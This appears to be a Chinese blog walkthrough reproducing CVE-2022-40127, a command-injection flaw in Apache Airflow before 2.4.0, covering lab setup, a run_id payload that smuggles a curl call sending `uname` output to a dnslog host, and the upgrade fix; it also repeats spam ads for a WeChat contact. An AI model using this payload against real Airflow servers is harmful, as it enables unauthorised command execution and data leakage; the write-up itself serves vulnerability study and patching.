美文网首页程序员
简单的Apache Airflow(CVE-2022-40127

简单的Apache Airflow(CVE-2022-40127

作者: 顶峰相见8号 | 来源:发表于2022-12-08 21:22 被阅读0次

    漏洞描述:

    Apache Airflow 是一个可编程,调度和监控的工作流平台,基于有向无环图(DAG),Airflow 可以定义一组有依赖的任务,按照依赖依次执行。该漏洞影响版本Apache Airflow <2.4.0;当攻击者可访问到Apache Airflow的后台,且环境中存在默认Example Dags,则可构造恶意请求借助run_id 执行任意命令。

    准备环境:

    Ubuntu、apache airflow2.3.4、python3.8、mysql5.7.39
    网络安全全套教程+全套工具包+渗透书籍+技术文档加微信【anquan455】免费领取
    

    一、环境搭建:

    1、指定air-flow主目录:

    export AIRFLOW_HOME=~/airflow
    

    2、air-flow安装

    pip3 install apache-airflow==2.3.4
    
    图片.png

    3、初始化

    执行airflow进行初始化:


    图片.png

    3、配置文件修改:

    (1)初始化后,会在airflow主目录生成airflow.cfg文件:

    图片.png

    编辑两个地方:

    (A)

    #executor = SequentialExecutor 修改为:
    executor = LocalExecutor
    
    图片.png

    (B)

    #sql_alchemy_conn = sqlite:////root/airflow/airflow.db 修改为:
    sql_alchemy_conn = mysql://airflowdb:airflowdb123@localhost:3306/airflowdb
    
    图片.png

    (2)修改mysql配置文件my.cnf,在[mysqld]中添加:

    explicit_defaults_for_timestamp = true
    

    我直接用的宝塔,在配置里面已经存在:


    图片.png

    修改后重启mysql

    (3)添加一个名为airflowdb的数据库:

    图片.png

    <注意:数据库引擎建议为innodb,否则会报错“Specified key was too long; max key length is 1000 bytes”>

    4、数据库初始化

    在~/airflow主目录执行:

    airflow db init
    
    图片.png

    <注:该处若未安装mysqlclient,将会报错,

    ModuleNotFoundError: No module named 'MySQLdb'
    

    因为初始化会写入mysql

    mysqlclinet安装:

    python3 -m pip install mysqlclien
    

    执行:

    图片.png

    正常执行完毕后,会有“Initialization done”字样:

    图片.png

    5、配置

    创建登录用户:

    airflow users create --username admin --firstname admin --lastname admin --role Admin --email admin@lab.com
    
    图片.png

    最后將提示设置密码:


    图片.png

    6、启动

    (1)server

    airflow webserver -p 11888
    
    图片.png

    (2)scheduler:

    airflow scheduler
    
    图片.png

    界面:


    图片.png

    二、复现:

    登录airflow:

    图片.png

    设置run_id

    在“example_bash_operator”行,点击action项的三角符号,点击“Trigger DAG w/ config”:

    图片.png

    进入配置,

    图片.png

    在“run id”处输入payload:

    {"lab":"\";curl `uname`.****.dnslog.pw;\""}
    网络安全全套教程+全套工具包+渗透书籍+技术文档加微信【anquan455】免费领取
    
    图片.png

    dnslog处查看结果:

    图片.png

    漏洞修复:

    官方已发布版本 2.4.3,可升级Apache Airflow版本到2.4.0或以上,或者停用默认 Dags。

    相关文章

      网友评论

        本文标题:简单的Apache Airflow(CVE-2022-40127

        本文链接:https://www.haomeiwen.com/subject/strafdtx.html